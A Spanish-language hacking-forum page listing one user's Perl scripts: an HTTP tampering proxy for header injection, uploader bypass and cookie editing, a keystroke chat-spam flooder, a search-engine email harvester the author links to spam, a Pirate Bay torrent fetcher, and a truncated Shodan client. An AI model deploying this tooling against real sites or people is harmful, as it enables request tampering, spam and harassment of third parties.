elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... 55
161  Programación / Scripting / [Perl] Project Kakilles 0.3 en: 5 Enero 2014, 22:59 pm
Un simple script que hice como parodia del famoso programa Achilles , el kakilles viene por lo caca del programa.

Les dejo un video que tiene 3 ejemplos de uso :

* HTTP Header Injection
* Bypass Uploaders
* Cookie Handling

El video :



El codigo :

Código
  1. #!usr/bin/perl
  2. #Project Kakilles 0.3
  3. #(C) Doddy Hackman 2014
  4.  
  5. use HTTP::Proxy;
  6. use HTTP::Proxy::BodyFilter::simple;
  7. use HTTP::Proxy::BodyFilter::complete;
  8.  
  9. my $port;
  10.  
  11. head();
  12.  
  13. if ( $ARGV[1] ne "" ) {
  14.    $port = $ARGV[1];
  15. }
  16. else {
  17.    $port = 8080;
  18. }
  19.  
  20. if ( $ARGV[0] eq "" ) {
  21.    sintax();
  22.    copyright();
  23. }
  24.  
  25. $SIG{INT} = \&copyright;
  26.  
  27. my $logs       = "logs.txt";
  28. my $leer_datos = "center.txt";
  29.  
  30. print "\n[+] Kakilles Online : $port ...\n";
  31.  
  32. my $server = HTTP::Proxy->new( port => $port );
  33. $server->host();
  34.  
  35. $server->push_filter(
  36.    mime     => undef,
  37.    response => HTTP::Proxy::BodyFilter::complete->new()
  38. );
  39.  
  40. $server->push_filter(
  41.    mime     => undef,
  42.    request  => HTTP::Proxy::BodyFilter::simple->new( \&enable ),
  43.    response => HTTP::Proxy::BodyFilter::simple->new( \&enable2 )
  44. );
  45.  
  46. $server->start();
  47.  
  48. sub enable {
  49.  
  50.    my @logs;
  51.  
  52.    my ( $self, $dataref, $message, $protocol, $buffer ) = @_;
  53.  
  54.    if ( $ARGV[0] =~ /p/ ) {
  55.  
  56.        if ( $message->content ne "" and $message->method eq "POST" ) {
  57.  
  58.            print
  59. "\n########################################################################\n";
  60.            print "[+] Method : " . $message->method;
  61.            print "\n[+] Content : " . $message->content;
  62.            savefile( $leer_datos, $message->content );
  63.            print
  64. "\n########################################################################\n";
  65.  
  66.            print "\n[+] Change ? [y/n] : ";
  67.            chomp( my $rta = <stdin> );
  68.  
  69.            if ( $rta =~ /y/ ) {
  70.  
  71.                system_leida($leer_datos);
  72.  
  73.                my $source = abrir();
  74.                $message->header( "content-length" => length($source) );
  75.                $message->content($source);
  76.  
  77.                print "\n[+] Changed !\n";
  78.  
  79.            }
  80.        }
  81.    }
  82.  
  83.    if ( $ARGV[0] =~ /g/ ) {
  84.  
  85.        if ( $message->uri =~ /(.*)\?(.*)/ ) {
  86.  
  87.            print
  88. "\n########################################################################\n";
  89.            print "[+] GET : " . $message->uri;
  90.            savefile( $leer_datos, $message->uri );
  91.            print
  92. "\n########################################################################\n";
  93.  
  94.            print "\n[+] Change ? [y/n] : ";
  95.            chomp( my $rta = <stdin> );
  96.  
  97.            if ( $rta =~ /y/ ) {
  98.  
  99.                system_leida($leer_datos);
  100.  
  101.                my $source = abrir();
  102.  
  103.                $message->uri($source);
  104.  
  105.                print "\n[+] Changed !\n";
  106.  
  107.            }
  108.  
  109.        }
  110.  
  111.    }
  112.  
  113.    if ( $ARGV[0] =~ /a/ ) {
  114.  
  115.        print
  116. "\n########################################################################\n";
  117.        print "[+] User-Agent : " . $message->header("user-agent");
  118.        savefile( $leer_datos, $message->header("user-agent") );
  119.        print
  120. "\n########################################################################\n";
  121.  
  122.        print "\n[+] Change ? [y/n] : ";
  123.        chomp( my $rta = <stdin> );
  124.  
  125.        if ( $rta =~ /y/ ) {
  126.  
  127.            system_leida($leer_datos);
  128.  
  129.            my $source = abrir();
  130.  
  131.            $message->header( "user-agent" => $source );
  132.  
  133.            print "\n[+] Changed !\n";
  134.  
  135.        }
  136.    }
  137.  
  138.    if ( $ARGV[0] =~ /o/ ) {
  139.  
  140.        print
  141. "\n########################################################################\n";
  142.        print "[+] Cookie : " . $message->header("cookie");
  143.        savefile( $leer_datos, $message->header("cookie") );
  144.        print
  145. "\n########################################################################\n";
  146.  
  147.        print "\n[+] Change ? [y/n] : ";
  148.        chomp( my $rta = <stdin> );
  149.  
  150.        if ( $rta =~ /y/ ) {
  151.  
  152.            system_leida($leer_datos);
  153.  
  154.            my $source = abrir();
  155.  
  156.            $message->header( "cookie" => $source );
  157.  
  158.            print "\n[+] Changed !\n";
  159.  
  160.        }
  161.    }
  162.  
  163. }
  164.  
  165. sub enable2 {
  166.    my ( $j, $k, $l, $m, $n ) = @_;
  167.  
  168.    if ( $ARGV[0] =~ /c/ ) {
  169.  
  170.        if ( $$k ne "" ) {
  171.  
  172.            print
  173.              "\n##########################################################\n";
  174.            print "[+] Content : " . $$k;
  175.            savefile( $leer_datos, $$k );
  176.            print
  177.              "\n##########################################################\n";
  178.  
  179.            print "\n[+] Change ? [y/n] : ";
  180.            chomp( my $rta = <stdin> );
  181.  
  182.            if ( $rta =~ /y/ ) {
  183.  
  184.                system_leida($leer_datos);
  185.  
  186.                my $source = abrir();
  187.  
  188.                $$k = $source;
  189.  
  190.                print "\n[+] Changed !\n";
  191.  
  192.            }
  193.  
  194.        }
  195.  
  196.    }
  197.  
  198. }
  199.  
  200. # Functions
  201.  
  202. sub system_leida {
  203.    my $os = $^O;
  204.    if ( $os =~ /Win/ig ) {
  205.        system( "start " . $_[0] );
  206.    }
  207.    else {
  208.        system( "sudo gedit " . $_[0] );
  209.    }
  210. }
  211.  
  212. sub abrir {
  213.    open my $FILE, q[<], $leer_datos;
  214.    my $word = join q[], <$FILE>;
  215.    close $FILE;
  216.    chomp $word;
  217.    return $word;
  218. }
  219.  
  220. sub savefile {
  221.    unlink($leer_datos);
  222.    open( SAVE, ">>" . $_[0] );
  223.    print SAVE $_[1] . "\n";
  224.    close SAVE;
  225. }
  226.  
  227. sub head {
  228.    print "\n-- == Project Kakilles 0.3 == --\n";
  229. }
  230.  
  231. sub copyright {
  232.    print "\n-- == (C) Doddy Hackman 2014 == --\n\n";
  233.    exit(1);
  234. }
  235.  
  236. sub sintax {
  237.    print "\n[+] Sintax : $0 <options> <port>\n";
  238.    print "\n[?] Options ...\n\n";
  239.    print "-g : Form with GET\n";
  240.    print "-p : Form with POST\n";
  241.    print "-a : Edit User-Agent\n";
  242.    print "-c : Edit Content\n";
  243.    print "-o : Edit Cookie\n";
  244.    print "\n[+] Example : $0 -pc 666\n";
  245. }
  246.  
  247. # The End ?
  248.  

Si quieren bajar el codigo lo pueden hacer de aca
162  Programación / Scripting / Re: [Perl] PirateBay Manager 0.3 en: 4 Enero 2014, 20:54 pm
Si.
163  Programación / Scripting / [Perl] Project ParanoicScan 1.7 en: 1 Enero 2014, 04:56 am
Como primer programa del 2014 les traigo la nueva version de mi ParanoicScan en su version 1.7 , hace tiempo ciertas personas robaron el codigo fuente de la anterior version de este programa , el tema es que no me molesto que usaran el codigo sino que solo le cambiaron el nombre del programa y el nombre del autor , no se molestaron en cambiar los nombres de la variables solo cambiaron el nombre del autor , por un momento dude en seguir compartiendo el codigo de este proyecto de 2 años de trabajo pero a pesar de eso voy a seguir compartiendo el codigo de este programa , ademas explorer (de perlenespanol) me recomendo hacer otra version de este programa para demostrar que era el verdadero autor asi que el programa tiene el doble de funciones y arregle un sin fin de bugs que habia en todo el codigo.

[++] Old Options

Google & Bing Scanner que ademas scannea :

 * XSS
 * SQL GET / POST
 * SQL GET
 * SQL GET + Admin
 * Directory listing
 * MSSQL
 * Jet Database
 * Oracle
 * LFI
 * RFI
 * Full Source Discloure
 * HTTP Information
 * SQLi Scanner
 * Bypass Admin
 * Exploit FSD Manager
 * Paths Finder
 * IP Locate
 * Crack MD5
 * Panel Finder
 * Console

[++] Fixes

  • Renovacion de paginas actuales para crack md5
  • Error en el scanner fsd
  • Error en el scanner http scan
  • Espacios entre texto demasiados molestos
  • Agregado array para bypass
  • Error en la leida de archivos
[++] New options

  • Genera todos los logs en un archivo html
  • Incorpora useragent aleatorios y nuevos
  • Multi encoder/decoder :

 * Ascii
 * Hex
 * Url
 * Bin To Text & Text To Bin

  • PortScanner
  • HTTP FingerPrinting
  • CSRF Tool
  • XSS Scan
  • Generator para XSS Bypass
  • Generador de links para tiny url
  • Buscador y descargador de exploits en Exploit-DB
  • Mysql Manager
  • LFI Tools

Un video con ejemplos de uso



El programa lo pueden bajar desde los siguientes links :

Github
GoogleCode
SourceForge
PasteBin

Eso seria todo.
164  Programación / Scripting / [Perl] Come on Spam Now 0.1 en: 31 Diciembre 2013, 22:42 pm
Un simple script que hice para trolear hasta el infinito en juegos online u otras cosas en las cuales mandan un mensaje por cada enter.

El codigo

Código
  1. #!usr/bin/perl
  2. #Come on Spam Now 0.1
  3. #Coded By Doddy H
  4. #ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
  5.  
  6. use Win32::GuiTest qw(SendKeys);
  7. use Time::HiRes "usleep";
  8.  
  9. $|++;
  10.  
  11. head();
  12.  
  13. my $tiempo_final;
  14.  
  15. my $tiemponow = time;
  16.  
  17. print "[+] Text to Flood : ";
  18. chomp( my $your_text = <stdin> );
  19. print "\n[+] Duration of attack : ";
  20. chomp( my $hasta = <stdin> );
  21. print "\n[+] Sleep Time : ";
  22. chomp( my $tiempo = <stdin> );
  23.  
  24. $hasta = $hasta + 10;
  25.  
  26. if ( $tiempo ne "" ) {
  27.    $tiempo_final = $tiempo;
  28. }
  29. else {
  30.    $tiempo_final = 0;
  31. }
  32.  
  33. print "\n[+] Select the window to destroy\n";
  34. print "\n[+] Wait 5 seconds\n";
  35. sleep(5);
  36. print "\n[+] Come on Spam Now !!!!!!!\n";
  37.  
  38. while ( time - $tiemponow < $hasta ) {
  39.  
  40.    sleep($tiempo_final);
  41.    SendKeys($your_text);
  42.    SendKeys("{ENTER}");
  43.  
  44. }
  45.  
  46. print "\n[+] Finished\n";
  47.  
  48. copyright();
  49.  
  50. #Functions
  51.  
  52. sub head {
  53.  
  54.    my @logo = (
  55.        "#=============================================#", "\n",
  56.        "#           Come On Spam Now 0.1              #", "\n",
  57.        "#---------------------------------------------#", "\n",
  58.        "# Written By Doddy H                          #", "\n",
  59.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  60.        "# Website: doddyhackman.webcindario.com       #", "\n",
  61.        "#---------------------------------------------#", "\n",
  62.        "# The End ?                                   #", "\n",
  63.        "#=============================================#", "\n"
  64.    );
  65.  
  66.    print "\n";
  67.  
  68.    marquesina(@logo);
  69.  
  70.    print "\n";
  71.  
  72. }
  73.  
  74. sub copyright {
  75.  
  76.    my @fin = ("-- == (C) Doddy Hackman 2013 == --");
  77.  
  78.    print "\n";
  79.    marquesina(@fin);
  80.    print "\n\n";
  81.  
  82.    <stdin>;
  83.  
  84.    exit(1);
  85.  
  86. }
  87.  
  88. sub marquesina {
  89.  
  90.    #Effect based in the exploits by Jafer Al Zidjali
  91.  
  92.    my @logo = @_;
  93.  
  94.    my $car = "|";
  95.  
  96.    for my $uno (@logo) {
  97.        for my $dos ( split //, $uno ) {
  98.  
  99.            $|++;
  100.  
  101.            if ( $car eq "|" ) {
  102.                mostrar( "\b" . $dos . $car, "/" );
  103.            }
  104.            elsif ( $car eq "/" ) {
  105.                mostrar( "\b" . $dos . $car, "-" );
  106.            }
  107.            elsif ( $car eq "-" ) {
  108.                mostrar( "\b" . $dos . $car, "\\" );
  109.            }
  110.            else {
  111.                mostrar( "\b" . $dos . $car, "|" );
  112.            }
  113.            usleep(40_000);
  114.        }
  115.        print "\b ";
  116.    }
  117.  
  118.    sub mostrar {
  119.        print $_[0];
  120.        $car = $_[1];
  121.    }
  122.  
  123. }
  124.  
  125. #The End ?
  126.  
165  Programación / Scripting / [Perl] Emails Extractor 0.2 en: 27 Diciembre 2013, 15:35 pm
Un simple script en Perl para buscar direcciones de correo en :

  • Un archivo de texto cualquiera
  • Una pagina
  • Usando un dork en google para scanear todas las paginas encontradas con el dork
  • Lo mismo que el anterior pero en bing

El codigo.

Código
  1. #!usr/bin/perl
  2. #Email Extractor 0.2
  3. #(C) Doddy Hackman 2013
  4. #Credits : Regex based on
  5. #http://stackoverflow.com/questions/15710275/print-email-addresses-to-a-file-in-perl
  6. #Thanks to motherconfessor & amon
  7.  
  8. use LWP::UserAgent;
  9. use URI::Escape;
  10.  
  11. my $nave = LWP::UserAgent->new;
  12. $nave->agent(
  13. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  14. );
  15. $nave->timeout(10);
  16.  
  17. my $buscador = qr/[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}/i
  18.  ;    # Thanks to motherconfessor & amon
  19. my @emails;
  20.  
  21. head();
  22.  
  23. if ( $ARGV[0] eq "-file" ) {
  24.  
  25.    print "\n[+] Opening file ...\n";
  26.  
  27.    if ( -f $ARGV[1] ) {
  28.  
  29.        my $code = openfile( $ARGV[1] );
  30.  
  31.        while ( $code =~ /($buscador)/g ) {
  32.            my $email = $1;
  33.            push( @emails, $email );
  34.        }
  35.  
  36.        my @emails = repes(@emails);
  37.  
  38.        print "\n[+] Mails Found : " . int(@emails) . "\n";
  39.  
  40.        for (@emails) {
  41.            savefile( $ARGV[2], $_ );
  42.        }
  43.  
  44.    }
  45.    else {
  46.        print "\n[-] File not found\n";
  47.    }
  48.  
  49. }
  50. elsif ( $ARGV[0] eq "-google" ) {
  51.  
  52.    print "\n[+] Searching in Google ...\n";
  53.  
  54.    my @links = google( $ARGV[1], $ARGV[2] );
  55.  
  56.    print "[+] Scanning [" . int(@links) . "] pages ...\n";
  57.  
  58.    for my $ink (@links) {
  59.        my $code = toma($ink);
  60.  
  61.        while ( $code =~ /($buscador)/g ) {
  62.            my $email = $1;
  63.            push( @emails, $email );
  64.        }
  65.  
  66.    }
  67.  
  68.    my @emails = repes(@emails);
  69.  
  70.    print "\n[+] Mails Found : " . int(@emails) . "\n";
  71.  
  72.    for (@emails) {
  73.        savefile( $ARGV[2], $_ );
  74.    }
  75.  
  76. }
  77. elsif ( $ARGV[0] eq "-bing" ) {
  78.  
  79.    print "\n[+] Searching in Bing ...\n";
  80.  
  81.    my @links = bing( $ARGV[1], $ARGV[2] );
  82.  
  83.    print "[+] Scanning [" . int(@links) . "] pages ...\n";
  84.  
  85.    for my $ink (@links) {
  86.        my $code = toma($ink);
  87.  
  88.        while ( $code =~ /($buscador)/g ) {
  89.            my $email = $1;
  90.            push( @emails, $email );
  91.        }
  92.  
  93.    }
  94.  
  95.    my @emails = repes(@emails);
  96.  
  97.    print "\n[+] Mails Found : " . int(@emails) . "\n";
  98.  
  99.    for (@emails) {
  100.        savefile( $ARGV[3], $_ );
  101.    }
  102.  
  103. }
  104. elsif ( $ARGV[0] eq "-page" ) {
  105.  
  106.    my $code = toma( $ARGV[1] );
  107.  
  108.    print "\n[+] Loading page ...\n";
  109.  
  110.    while ( $code =~ /($buscador)/g ) {
  111.        my $email = $1;
  112.        push( @emails, $email );
  113.    }
  114.  
  115.    my @emails = repes(@emails);
  116.  
  117.    print "\n[+] Mails Found : " . int(@emails) . "\n";
  118.  
  119.    for (@emails) {
  120.        savefile( $ARGV[2], $_ );
  121.    }
  122.  
  123. }
  124. else {
  125.    sintax();
  126. }
  127.  
  128. copyright();
  129.  
  130. # Functions
  131.  
  132. sub bing {
  133.  
  134.    my ( $a, $b ) = @_;
  135.    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  136.        my $code =
  137.          toma( "http://www.bing.com/search?q=" . $a . "&first=" . $pages );
  138.  
  139.        while ( $code =~ /<h3><a href="(.*?)"/mig ) {
  140.            push( @founds, $1 );
  141.        }
  142.    }
  143.    my @founds = repes( cortar(@founds) );
  144.    return @founds;
  145. }
  146.  
  147. sub google {
  148.    my ( $a, $b ) = @_;
  149.    my @founds;
  150.    for ( $pages = 10 ; $pages <= $b ; $pages = $pages + 10 ) {
  151.        $code = toma(
  152.            "http://www.google.com.ar/search?hl=&q=" . $a . "&start=$pages" );
  153.        while ( $code =~ /(?<="r"><. href=")(.+?)"/mig ) {
  154.            my $url = $1;
  155.            if ( $url =~ /\/url\?q\=(.*?)\&amp\;/ ) {
  156.                push( @founds, uri_unescape($1) );
  157.            }
  158.        }
  159.    }
  160.    my @founds = repes( cortar(@founds) );
  161.    return @founds;
  162. }
  163.  
  164. sub cortar {
  165.    my @nuevo;
  166.    for (@_) {
  167.        if ( $_ =~ /=/ ) {
  168.            @tengo = split( "=", $_ );
  169.            push( @nuevo, @tengo[0] . "=" );
  170.        }
  171.        else {
  172.            push( @nuevo, $_ );
  173.        }
  174.    }
  175.    return @nuevo;
  176. }
  177.  
  178. sub toma {
  179.    return $nave->get( $_[0] )->content;
  180. }
  181.  
  182. sub savefile {
  183.  
  184.    if ( $_[0] eq "" ) {
  185.        open( SAVE, ">>logs.txt" );
  186.    }
  187.    else {
  188.        open( SAVE, ">>" . $_[0] );
  189.    }
  190.  
  191.    print SAVE $_[1] . "\n";
  192.    close SAVE;
  193. }
  194.  
  195. sub openfile {
  196.    open my $FILE, q[<], $_[0];
  197.    my $word = join q[], <$FILE>;
  198.    close $FILE;
  199.    return $word;
  200. }
  201.  
  202. sub repes {
  203.    my @limpio;
  204.    foreach $test (@_) {
  205.        push @limpio, $test unless $repe{$test}++;
  206.    }
  207.    return @limpio;
  208. }
  209.  
  210. sub sintax {
  211.    print "\n[+] Sintax : $0 <options> <logs>\n";
  212.    print "\n[+] Examples : \n\n";
  213.    print "[+] $0 -file test.txt logs.txt\n";
  214.    print "[+] $0 -google 50 mailist logs.txt\n";
  215.    print "[+] $0 -bing 50 mailist logs.txt\n";
  216.    print "[+] $0 -page http://localhost/index.php logs.txt\n";
  217. }
  218.  
  219. sub head {
  220.    print "\n-- == Email Extractor 0.2 == --\n";
  221. }
  222.  
  223. sub copyright {
  224.    print "\n-- == (C) Doddy Hackman 2013 == --\n\n";
  225.    exit(1);
  226. }
  227.  
  228. #The End ?
  229.  

Mostraria un ejemplo de uso pero puedo tener problemas cuando el script devuelve como 500 mails ajenos claramente para spam xD.
166  Programación / Scripting / [Perl] PirateBay Manager 0.3 en: 23 Diciembre 2013, 00:27 am
Un simple script para usar en Windows para bajar torrents desde la famosa pagina llamada PirateBay.

El codigo.

Código
  1. #!usr/bin/perl
  2. #PirateBay Manager 0.3
  3. #(C) Doddy Hackman 2013
  4.  
  5. use LWP::UserAgent;
  6. use Time::HiRes "usleep";
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent(
  10. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  11. );
  12.  
  13. my $requisito = "C:/Archivos de programa/uTorrent/uTorrent.exe";
  14.  
  15. head();
  16.  
  17. print "[+] Write the search : ";
  18. chomp( my $busqueda = <stdin> );
  19.  
  20. $busqueda =~ s/ /%20/;
  21.  
  22. print "\n[+] Searching ...";
  23.  
  24. my $code = toma( "http://thepiratebay.se/search/" . $busqueda . "/0/99/0" );
  25.  
  26. my @links;
  27. $contador = -1;
  28.  
  29. while ( $code =~
  30. /(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)/migs
  31.  )
  32. {
  33.  
  34.    my $nombre         = $2;
  35.    my $link_torrent   = magnet . $4;
  36.    my $limpiando_data = $6;
  37.    my $data;
  38.    my $seeders  = $8;
  39.    my $leechers = $10;
  40.  
  41.    if ( $limpiando_data =~ /(.*), ULed by </ ) {
  42.        $limpiando_data_2 = $1;
  43.        $limpiando_data_2 =~ s/&nbsp;/ /migs;
  44.        $data = $limpiando_data_2;
  45.    }
  46.  
  47.    $contador++;
  48.  
  49.    print "\n\n[+] ID : " . $contador;
  50.    print "\n[+] Name : " . $nombre;
  51.    push( @links, $link_torrent );
  52.    print "\n[+] Data : " . $data . ", Seeders $seeders, Leechers $leechers";
  53.  
  54. }
  55.  
  56. print "\n\n[+] ID to download : ";
  57. chomp( my $id_to = <stdin> );
  58.  
  59. print "\n[+] Executed !\n";
  60.  
  61. system( $requisito, $links[$id_to] );
  62.  
  63. copyright();
  64.  
  65. ## Functions
  66.  
  67. sub head {
  68.  
  69.    my @logo = (
  70.        "#=============================================#", "\n",
  71.        "#           PirateBay Manager 0.3             #", "\n",
  72.        "#---------------------------------------------#", "\n",
  73.        "# Written By Doddy H                          #", "\n",
  74.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  75.        "# Website: doddyhackman.webcindario.com       #", "\n",
  76.        "#---------------------------------------------#", "\n",
  77.        "# The End ?                                   #", "\n",
  78.        "#=============================================#", "\n"
  79.    );
  80.  
  81.    print "\n";
  82.  
  83.    marquesina(@logo);
  84.  
  85.    print "\n\n";
  86.  
  87. }
  88.  
  89. sub copyright {
  90.  
  91.    my @fin = ("-- == (C) Doddy Hackman 2013 == --");
  92.  
  93.    print "\n\n";
  94.    marquesina(@fin);
  95.    print "\n\n";
  96.  
  97.    <stdin>;
  98.  
  99.    exit(1);
  100.  
  101. }
  102.  
  103. sub marquesina {
  104.  
  105.    #Effect based in the exploits by Jafer Al Zidjali
  106.  
  107.    my @logo = @_;
  108.  
  109.    my $car = "|";
  110.  
  111.    for my $uno (@logo) {
  112.        for my $dos ( split //, $uno ) {
  113.  
  114.            $|++;
  115.  
  116.            if ( $car eq "|" ) {
  117.                mostrar( "\b" . $dos . $car, "/" );
  118.            }
  119.            elsif ( $car eq "/" ) {
  120.                mostrar( "\b" . $dos . $car, "-" );
  121.            }
  122.            elsif ( $car eq "-" ) {
  123.                mostrar( "\b" . $dos . $car, "\\" );
  124.            }
  125.            else {
  126.                mostrar( "\b" . $dos . $car, "|" );
  127.            }
  128.            usleep(40_000);
  129.        }
  130.        print "\b ";
  131.    }
  132.  
  133.    sub mostrar {
  134.        print $_[0];
  135.        $car = $_[1];
  136.    }
  137.  
  138. }
  139.  
  140. sub toma {
  141.    return $nave->get( $_[0] )->content;
  142. }
  143.  
  144. #The End ?
  145.  

Ejemplo de uso.

Código:
C:\Documents and Settings\Doddy\Escritorio\Warfactory VIII>piratebay.pl
 
#=============================================#
#           PirateBay Manager 0.3             #
#---------------------------------------------#
# Written By Doddy H                          #
# Email: lepuke[at]hotmail[com]               #
# Website: doddyhackman.webcindario.com       #
#---------------------------------------------#
# The End ?                                   #
#=============================================#
 

[+] Write the search : batman

[+] Searching ...
 
[+] ID : 0
[+] Name : Batman and Robin v2 25 (2014)(2 cvrs)(1440+2048px-HD)(BrightEyes
[+] Data : Uploaded 11-23 03:43, Size 89.67 MiB, Seeders 24, Leechers 5
 
[+] ID : 1
[+] Name : Batman '66 022 (2013) (digital) (Son of Ultron-Empire) (- Nem -)
[+] Data : Uploaded 11-27 14:25, Size 40.39 MiB, Seeders 25, Leechers 1
 
[+] ID : 2
[+] Name : Batman O Retorno (1992) DVDRip Dublado Repostagem
[+] Data : Uploaded 11-25 20:58, Size 811.15 MiB, Seeders 0, Leechers 5
 
[+] ID : 3
[+] Name : Batman O Retorno (1992) DVDRip Dublado By Eliasjustino
[+] Data : Uploaded 11-25 19:10, Size 811.15 MiB, Seeders 1, Leechers 0
 
[+] ID : 4
[+] Name : BATMAN - LI'L GOTHAM 002 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:10, Size 37.15 MiB, Seeders 10, Leechers 2
 
[+] ID : 5
[+] Name : BATMAN - LI'L GOTHAM 001 (2013) (Print) (c2c) (GreenManGroup-DCP
[+] Data : Uploaded 11-25 16:09, Size 38.28 MiB, Seeders 10, Leechers 2
 
[+] ID : 6
[+] Name : BATMAN - LI'L GOTHAM 023 (2013) (digital) (Son of Ultron-Empire)
[+] Data : Uploaded 11-25 11:21, Size 30.81 MiB, Seeders 10, Leechers 1
 
[+] ID : 7
[+] Name : Batman 1966 Complete Season 3 Uncut TV RIP
[+] Data : Uploaded Y-day 07:43, Size 5.19 GiB, Seeders 12, Leechers 6
 
[+] ID : 8
[+] Name : Batman Arkham Origins (Update 7 + 6 DLC) Repack by z10yded
[+] Data : Uploaded Y-day 04:00, Size 8.11 GiB, Seeders 163, Leechers 230
 
[+] ID : 9
[+] Name : Batman.Arkham.Origins.Update.v2.0.Incl.DLC-RELOADED
[+] Data : Uploaded 11-27 19:27, Size 308.21 MiB, Seeders 125, Leechers 14
 
[+] ID : 10
[+] Name : Batman The Dark Knight 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-27 15:27, Size 23.32 MiB, Seeders 81, Leechers 5
 
[+] ID : 11
[+] Name : Batman - Long Shadows
[+] Data : Uploaded 11-27 13:10, Size 59.59 MiB, Seeders 31, Leechers 2
 
[+] ID : 12
[+] Name : Batman.Arkham.Trilogy-R.G. Mechanics
[+] Data : Uploaded 11-27 05:05, Size 25.36 GiB, Seeders 41, Leechers 67
 
[+] ID : 13
[+] Name : Batman.Arkham.Origins.Update.v20131125-FTS
[+] Data : Uploaded 11-26 21:43, Size 253.1 MiB, Seeders 19, Leechers 2
 
[+] ID : 14
[+] Name : Batman Arkham Origins - FULL GAME PC - LAST UPDATES
[+] Data : Uploaded 11-24 12:50, Size 16.51 GiB, Seeders 17, Leechers 52
 
[+] ID : 15
[+] Name : Damian - Son of Batman 02 (of 04) (2014) (Digital) (Nahga-Empire
[+] Data : Uploaded 11-27 13:39, Size 45.2 MiB, Seeders 188, Leechers 24
 
[+] ID : 16
[+] Name : BATMAN - KNIGHTFALL Volume 1 to 3 (DC) (Digital) (TheHand-Empire
[+] Data : Uploaded 11-19 17:21, Size 2.52 GiB, Seeders 29, Leechers 7
 
[+] ID : 17
[+] Name : BATMAN '66  021 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-21 01:02, Size 68.39 MiB, Seeders 9, Leechers 1
 
[+] ID : 18
[+] Name : BATMAN AND TWO-FACE 025 (2014) (Digital) (Zone-Empire)
[+] Data : Uploaded 11-20 19:44, Size 27.07 MiB, Seeders 43, Leechers 0
 
[+] ID : 19
[+] Name : BATMAN '66  020 (2013) (DC Comics) (digital) (Son of Ultron-Empi
[+] Data : Uploaded 11-14 14:47, Size 71.7 MiB, Seeders 5, Leechers 1
 
[+] ID : 20
[+] Name : BATMAN - SUPERMAN 005 (2013) (Webrip) (2 covers) (The Last Krypt
[+] Data : Uploaded 11-06 13:36, Size 43.09 MiB, Seeders 32, Leechers 1
 
[+] ID : 21
[+] Name : Batman - Legends of the Dark Knight 077 (2013)(OlJoe-DCP)
[+] Data : Uploaded 11-20 13:05, Size 12.53 MiB, Seeders 13, Leechers 0
 
[+] ID : 22
[+] Name : Batman - Ego (2000).cbr (- Nem -)
[+] Data : Uploaded 11-17 17:28, Size 15.34 MiB, Seeders 13, Leechers 0
 
[+] ID : 23
[+] Name : Batman Beyond 2.0 (001 - 008) (ongoing) (- Nem -)
[+] Data : Uploaded 11-17 17:18, Size 201.42 MiB, Seeders 21, Leechers 3
 
[+] ID : 24
[+] Name : Batman Beyond 2.0 008 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:16, Size 29.28 MiB, Seeders 10, Leechers 0
 
[+] ID : 25
[+] Name : Batman Beyond 2.0 007 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:14, Size 24.96 MiB, Seeders 8, Leechers 0
 
[+] ID : 26
[+] Name : Batman Beyond 2.0 006 (2013) (digital) (Son of Ultron-Empire).cb
[+] Data : Uploaded 11-17 17:13, Size 25.21 MiB, Seeders 8, Leechers 0
 
[+] ID : 27
[+] Name : Batman v2 25 (2014) (2 covers) (1440+2048px-HD) (theProletariat-
[+] Data : Uploaded 11-15 19:20, Size 113.44 MiB, Seeders 26, Leechers 4
 
[+] ID : 28
[+] Name : Batman.O.Cavaleiro.das.Trevas_P1 e 2 PTBR
[+] Data : Uploaded 11-14 07:16, Size 543.94 MiB, Seeders 6, Leechers 0
 
[+] ID : 29
[+] Name : Batman - Ano Um (2011) 720p HD Dublado / Dual Audio pt-BR
[+] Data : Uploaded 11-13 18:05, Size 501.99 MiB, Seeders 37, Leechers 3
 
[+] ID to download : 0
 
[+] Executed !
 
 
-- == (C) Doddy Hackman 2013 == --
167  Programación / Scripting / [Perl] Shodan Tool 0.2 en: 21 Diciembre 2013, 00:30 am
Un simple script en Perl para realizar busquedas en Shodan usando el API que hicieron para Perl.

El codigo.

Código
  1. #!usr/bin/perl
  2. # Shodan Tool 0.2
  3. # (C) Doddy Hackman 2013
  4.  
  5. # Install the dependencies
  6. # sudo perl -MCPAN -e 'install CGI::Enurl'
  7. # sudo perl -MCPAN -e 'install JSON::XS'
  8. # sudo perl -MCPAN -e 'install HTTP::Request::Common'
  9. # Install Shodan
  10. # curl -OL http://github.com/downloads/achillean/shodan-perl/Shodan-0.3.tar.gz
  11. # tar zxvf Shodan-0.3.tar.gz
  12. # cd Shodan-0.3
  13. # perl Makefile.PL
  14. # make
  15. # sudo make install
  16.  
  17. use Shodan::WebAPI;
  18.  
  19. $SIG{INT} = \&copyright;
  20.  
  21. $your_key = "fuck you";    # Your Api Key
  22.  
  23. head();
  24.  
  25. unless ( $ARGV[0] ) {
  26.    print "\n[+] Sintax : $0 <search>\n";
  27. }
  28. else {
  29.  
  30.    print "\n[+] Searching ...\n";
  31.  
  32.    $shell_shodan = new Shodan::WebAPI($your_key);
